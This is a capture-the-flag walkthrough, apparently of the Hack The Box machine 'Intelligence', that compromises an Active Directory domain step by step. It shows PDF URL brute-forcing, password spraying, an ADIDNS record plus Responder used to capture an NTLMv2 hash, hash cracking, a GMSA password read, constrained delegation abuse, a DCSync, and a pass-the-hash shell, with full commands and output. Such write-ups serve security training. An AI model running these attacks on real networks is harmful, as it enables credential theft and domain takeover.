Intelligence brings some cool enumeration and exploitation techniques to own Active Directory. It starts by enumerating a website and launching a brute-force attack to obtain several PDF files. One of these files contains a default password for a new account. By spraying this password across a list of usernames extracted from the PDFs’ metadata, a valid combination is discovered. In the file shares, there’s a scheduled PowerShell which sends a HTTP request to any subdomain under intelligence.htb. By creating a new subdomain record, it is possible to capture the requester’s hash, which can be cracked offline. Bloodhound analysis reveals that the user has permission to read the password of a GMSA account, which has delegation rights to a service. These permissions can be exploited for privilege escalation to domain admin.

Skills Learned

  • User enumeration via file metadata
  • ADI DNS attack
  • AD


  • Nmap
  • Impacket
  • BloodHound



Port scanning with nmap reveals a bunch of ports open. Some interesting ports to dig into here are 445, 389, and 80.

→ kali@kali «intelligence» «» 
$ nmap -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49423,49667,49691,49709,49714 -sC -sV -oA nmap/10-tcp-allport-script-intelligence
Starting Nmap 7.91 ( ) at 2021-07-14 00:22 EDT
Nmap scan report for
Host is up (0.30s latency).

53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Intelligence
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2021-07-14 11:22:29Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after:  2022-04-19T00:43:16
|_ssl-date: 2021-07-14T11:24:04+00:00; +7h00m03s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after:  2022-04-19T00:43:16
|_ssl-date: 2021-07-14T11:24:03+00:00; +7h00m02s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after:  2022-04-19T00:43:16
|_ssl-date: 2021-07-14T11:24:04+00:00; +7h00m03s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after:  2022-04-19T00:43:16
|_ssl-date: 2021-07-14T11:24:03+00:00; +7h00m02s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49423/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49691/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49709/tcp open  msrpc         Microsoft Windows RPC
49714/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 7h00m02s, deviation: 0s, median: 7h00m02s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2021-07-14T11:23:25
|_  start_date: N/A

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 104.01 seconds

Nmap results also reveal the some domain names. I’ll add these to my /etc/hosts. dc.intelligence.htb intelligence.htb


TCP 445 - SMB

When approaching an AD box, I would definitely check for anonymous login on SMB.

It’s allowed but nothing to see here.

→ kali@kali «intelligence» «» 
$ smbclient -N -L //
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
SMB1 disabled -- no workgroup available

TCP 389 - LDAP

On LDAP, I can only retrieve the naming contexts.

→ kali@kali «intelligence» «» 
$ ldapsearch -LLL -x -h -s base namingContexts
namingContexts: DC=intelligence,DC=htb
namingContexts: CN=Configuration,DC=intelligence,DC=htb
namingContexts: CN=Schema,CN=Configuration,DC=intelligence,DC=htb
namingContexts: DC=DomainDnsZones,DC=intelligence,DC=htb
namingContexts: DC=ForestDnsZones,DC=intelligence,DC=htb
→ kali@kali «intelligence» «» 
$ ldapsearch -LLL -x -h -b "dc=intelligence,dc=htb"
Operations error (1)
Additional information: 000004DC: LdapErr: DSID-0C090A5C, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4563

TCP 80 - Website

The website hosted on this machine is a static site with no further information to dig in.


In the next section, there are two download buttons.


These buttons point to two PDF files. The file contents don’t seem to be important, but in each document’s properties there’s a potential username.

PDF 1: http://intelligence.htb/documents/2020-01-01-upload.pdf


PDF 2: http://intelligence.htb/documents/2020-01-01-upload.pdf



Access as Tifanny.Molina

Grabbing more PDFs

Seeing the filename with pattern YYYY-MM-DD eventually led me to think “Will incrementing the date give me another pdf?”.

The answer is yes, it does!


From here, I’ll write a script to brute-force the other PDFs with YYYY-MM-DD timestamp pattern.


for month in {01..12}
  for day in {01..31}
     wget -q "$month-$day-upload.pdf" 2>/dev/null

And here’s what I got.


Alternatively, I can use wget with brace expansion:

$ wget -q{01..12}-{01..31}-upload.pdf

Harvest Username via PDF Metadata

It’s possible to harvest the creator name from the metadata to make a list of usernames.

→ kali@kali «loot» «» 
$ exiftool * | grep -i creator | cut -d ':' -f2 | cut -d ' ' -f2 | sort | uniq | tee ../users.list 

The first idea to come with the username list is to perform AS-REP Roasting attack. I’ve tried it but no luck there.

PDF Content Examination

I discovered two non-Lorem Ipsum files by manually examining the PDF contents.

The first one is 2020-06-04-upload.pdf, it contains the default password for new accounts in Intelligence Corp.


The second one is 2020-06-04-upload.pdf, it contains some internal information that will be useful later.


Password Spray

From here, I can spray the password to the username list I have harvested earlier via rpcclient. This attack returns one valid pair Tiffany.Molina:NewIntelligenceCorpUser9876.

→ kali@kali «intelligence» «» 
$ rpcspray users.list password.list | grep -v 'NT_STATUS_LOGON_FAILURE'
[*] Trying: 'Anita.Roberts:NewIntelligenceCorpUser9876' 
[*] Trying: 'Brian.Baker:NewIntelligenceCorpUser9876' 
[*] Trying: 'Brian.Morris:NewIntelligenceCorpUser9876' 
[*] Trying: 'Tiffany.Molina:NewIntelligenceCorpUser9876' 
Account Name: Tiffany.Molina, Authority Name: intelligence
[*] Trying: 'Travis.Evans:NewIntelligenceCorpUser9876' 
[*] Trying: 'Veronica.Patel:NewIntelligenceCorpUser9876' 
[*] Trying: 'William.Lee:NewIntelligenceCorpUser9876' 

SMB Revisit

Enumerating SMB with smbmap now returns a list of shares that are accessible by Tifanny.

→ kali@kali «intelligence» «» 
$ smbmap -H -u 'Tiffany.Molina' -p 'NewIntelligenceCorpUser9876'
[+] IP:        Name: dc.intelligence.htb                               
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC
        IT                                                      READ ONLY
        NETLOGON                                                READ ONLY       Logon server share 
        SYSVOL                                                  READ ONLY       Logon server share 
        Users                                                   READ ONLY

It turns out I can read the flag from the Users share.

→ kali@kali «intelligence» «» 
$ smbclient //intelligence.htb/Users -U 'Tiffany.Molina%NewIntelligenceCorpUser9876'
smb: \> ls Tiffany.Molina\Desktop
  .                                  DR        0  Sun Apr 18 20:51:46 2021
  ..                                 DR        0  Sun Apr 18 20:51:46 2021
  user.txt                           AR       34  Thu Jul 15 08:17:40 2021

                3770367 blocks of size 4096. 1444029 blocks available

Privilege Escalation

Access as Ted.Graves

IT share

On the IT share, there is a PowerShell script called downdetector.ps1.

→ kali@kali «intelligence» «» 
$ smbclient //intelligence.htb/IT -U 'Tiffany.Molina%NewIntelligenceCorpUser9876'
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun Apr 18 20:50:55 2021
  ..                                  D        0  Sun Apr 18 20:50:55 2021
  downdetector.ps1                    A     1046  Sun Apr 18 20:50:55 2021

                3770367 blocks of size 4096. 1444112 blocks available
smb: \> mget downdetector.ps1 
Get file downdetector.ps1? y
getting file \downdetector.ps1 of size 1046 as downdetector.ps1 (0.6 KiloBytes/sec) (average 0.6 KiloBytes/sec)

According to the comment it is said that this script is used to check web server status.

# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory 
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*")  {
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if(.StatusCode -ne 200) {
Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"
} catch {}

If I re-query this line DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb with a filter of name=web* using ldapsearch, it returns the following record.

→ kali@kali «intelligence» «» 
$ ldapsearch -LLL -D 'Tiffany.Molina@intelligence.htb' -w 'NewIntelligenceCorpUser9876' -x -h -b "DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" "name=web*"
dn: DC=weboops,DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intell
objectClass: top
objectClass: dnsNode
distinguishedName: DC=weboops,DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDns
instanceType: 4
whenCreated: 20210716071327.0Z
whenChanged: 20210716071707.0Z
uSNCreated: 102869
uSNChanged: 102872
showInAdvancedViewOnly: TRUE
name: weboops
objectGUID:: JGYq3NUoGU24w9fR4hg/6Q==
objectCategory: CN=Dns-Node,CN=Schema,CN=Configuration,DC=intelligence,DC=htb
dSCorePropagationData: 16010101000000.0Z
dNSTombstoned: TRUE
dc: weboops

So the script basically looks for DNS records that begin with web*. For each discovered record, it performs an HTTP request to check if the record is active. And if the response code is not 200, the script sends an email notification to Ted Graves.

The key take away here is the wildcard (*).

Stealing NTLMv2 Response via ADIDNS

According to this blog, in Active Directory (AD), it’s the default behavior that any authenticated user can create a new DNS record (ADIDNS). By knowing how the previous script works, it is possible to abuse this feature.

Here’s the concept: I attempted to create a DNS record (subdomain) under the intelligence.htb that begins with ‘web*’. The purpose was to have the script encounter the record I created during its next execution. This way, it would trigger NTLM authentication as the Invoke-WebRequest command was used with the -UseDefaultCredentials flag.

A well-known security researcher, Dirk-jan, has developed a handy tool called specifically designed for interacting with ADIDNS. This tool is included in the Krbrelayx repository, so I’ll simply clone the repository onto my machine.

→ kali@kali «/opt» «» 
$ git clone && cd krbrelayx
Cloning into 'krbrelayx'...
remote: Enumerating objects: 98, done.
remote: Total 98 (delta 0), reused 0 (delta 0), pack-reused 98
Receiving objects: 100% (98/98), 65.76 KiB | 426.00 KiB/s, done.
Resolving deltas: 100% (48/48), done.

Now I can use the tool to add a new ADIDNS record. This record points to my machine IP.

→ kali@kali «krbrelayx» «» git:(master) 
$ python3 -u intelligence.htb\\Tiffany.Molina -p 'NewIntelligenceCorpUser9876' -r 'web-iamf.intelligence.htb' -a add -d 
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
/opt/krbrelayx/ DeprecationWarning: please use dns.resolver.Resolver.resolve() instead
  res = dnsresolver.query(zone, 'SOA')
[-] Adding new record
[+] LDAP operation completed successfully

At the same time, I’ll also start the Responder. Shortly after it runs, the Ted.Graves hash appear.

→ kali@kali «krbrelayx» «» git:(master) 
$ sudo responder -I tun0
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|

           NBT-NS, LLMNR & MDNS Responder

  Author: Laurent Gaffie (
  To kill this script hit CTRL-C


[+] Listening for events...                                                                                                          
[HTTP] NTLMv2 Client   :
[HTTP] NTLMv2 Username : intelligence\Ted.Graves
[HTTP] NTLMv2 Hash     : Ted.Graves::intelligence:4cca110e84677c33:3A689C04E699DF8F6E1B16A599576ABA:0101000000000000E700D4082B7AD7012AF2C454A91E32400000000002000800340039003100540001001E00570049004E002D00500032003300360049003800390058003100530046000400140034003900310054002E004C004F00430041004C0003003400570049004E002D00500032003300360049003800390058003100530046002E0034003900310054002E004C004F00430041004C000500140034003900310054002E004C004F00430041004C000800300030000000000000000000000000200000AF0854B4C9903CBE8251A0173036E36C4E1F4A5399C97563C3922EC707733A310A0010000000000000000000000000000000000009003C0048005400540050002F007700650062002D00690061006D0066002E0069006E00740065006C006C006900670065006E00630065002E006800740062000000000000000000

Cracking the Hash

The hash can be cracked with hashcat

$ ./hashcat.exe -m 5600 hashes/intelligence-ted.graves.hash ../../rockyou.txt -O                     ✘ INT


Session..........: hashcat
Status...........: Cracked
Hash.Name........: NetNTLMv2
Hash.Target......: TED.GRAVES::intelligence:4cca110e84677c33:3a689c04e...000000

The credentials are valid

→ kali@kali «intelligence» «» 
$ crackmapexec smb -u 'Ted.Graves' -p 'Mr.Teddy' 
SMB    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:intelligence.htb) (signing:True) (SMBv1:False)

Shell as Administrator

Enumeration with BloodHound

Even with user Ted.Graves, I still have no shell access. From here, I’ll use BloodHound to explore more about the object relationships. I’ll use the Python ingestor.

→ kali@kali «» «» git:(master) 
$ python3 -c All -u 'Ted.Graves' -p 'Mr.Teddy' -d intelligence.htb -dc dc.intelligence.htb -ns
INFO: Found AD domain: intelligence.htb
INFO: Connecting to LDAP server: dc.intelligence.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: dc.intelligence.htb
INFO: Found 42 users
INFO: Found 54 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: svc_int.intelligence.htb
INFO: Querying computer: dc.intelligence.htb
INFO: Skipping enumeration for svc_int.intelligence.htb since it could not be resolved.
INFO: Done in 00M 21S

Using the pre-built analytics queries “Shortest Path from Owned Principal” reveals that user Ted.Graves has readGMSAPassword permission on a service account called SVC_INT. And the service account has AllowedToDelegate permission (constrained delegation) on the DC/Machine.


Read SVC_INIT Password

According to the help feature, readGMSAPassword allows you to retrieve GMSA (Group Managed Service Account) password. I’ll also note that the password might be changed after some periods just like computer account (default 30 days).


The author of this box has already created a tool for abusing this permission: Running it retuns the password of svc_int$ in the form of NT hash.

→ kali@kali «exploits» «» 
$ ./ -u 'Ted.Graves' -p 'Mr.Teddy' -d intelligence.htb

Users or groups who can read password for svc_int$:
 > DC$
 > itsupport

Since the password is managed by the DC, I don’t have to try to crack it.

Abusing Constrained Delegation -> Silver Ticket

This site explains what a constrained delegation is:

If you have compromised a user account or a computer (machine account) that has kerberos constrained delegation enabled, it’s possible to impersonate any domain user (including administrator) and authenticate to a service that the user account is trusted to delegate to.

In this case, the service account svc_int can impersonate the domain admin and authenticate to WWW/DC.INTELLIGENCE.HTB.

→ kali@kali «exploits» «» 
$ ldapsearch -LLL -D "Ted.Graves@intelligence.htb" -w "Mr.Teddy" -x -h -b "CN=svc_int,CN=Managed ServiceDC=intelligence,DC=htb" 
msDS-AllowedToDelegateTo: WWW/dc.intelligence.htb

With that, I can abuse this permission and perform Silver Ticket attack, I’ll use impacket-getST tool, but the result says clock skew too great.

→ kali@kali «exploits» «» 
$ impacket-getST 'intelligence.htb/svc_int$'  -spn 'WWW\dc.intelligence.htb' -hashes :d64b83fe606e6d3005e20ce0ee932fe2 -impersonate administrator
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Getting TGT for user
Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

To resolve that, I’ll need to synchronize my machine time with the DC. This can be done with ntpdate.

→ kali@kali «intelligence» «» 
$ sudo apt install ntpdate && sudo ntpdate
18 Jul 14:57:39 ntpdate[63324]: adjust time server offset +0.001305 sec

On the next attempt, I have obtained the admin ticket (TGS).

→ kali@kali «intelligence» «»
$ impacket-getST -spn 'WWW/dc.intelligence.htb' -impersonate administrator -hashes :d64b83fe606e6d3005e20ce0ee932fe2 -dc-ip intelligence.htb/svc_int\$
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Getting TGT for user
[*] Impersonating administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in administrator.ccache


Although the admin ticket was actually requested for WWW\dc.intelligence.htb, it actually can be used for other service, like DRS (Directory Replication Service) for DCSync attack.

→ kali@kali «intelligence» «» 
$ export KRB5CCNAME=administrator.ccache && impacket-secretsdump -k -no-pass dc.intelligence.htb -just-dc-user administrator
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[*] Kerberos keys grabbed
[*] Cleaning up...

Shell Access

With the administrator hash, I can use WinRM to get a shell access

→ kali@kali «intelligence» «» 
$ evil-winrm -i -u 'administrator' -H '9075113fe16cf74f7c0f9b27e882dad3'        

Evil-WinRM shell v2.4

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> hostname
*Evil-WinRM* PS C:\Users\Administrator\Documents> ipconfig

Windows IP Configuration

Ethernet adapter Ethernet0 2:

   Connection-specific DNS Suffix  . :
   IPv6 Address. . . . . . . . . . . : dead:beef::a57a:d94f:fa40:87e6
   Link-local IPv6 Address . . . . . : fe80::a57a:d94f:fa40:87e6%6
   IPv4 Address. . . . . . . . . . . :
   Subnet Mask . . . . . . . . . . . :
   Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:271c%6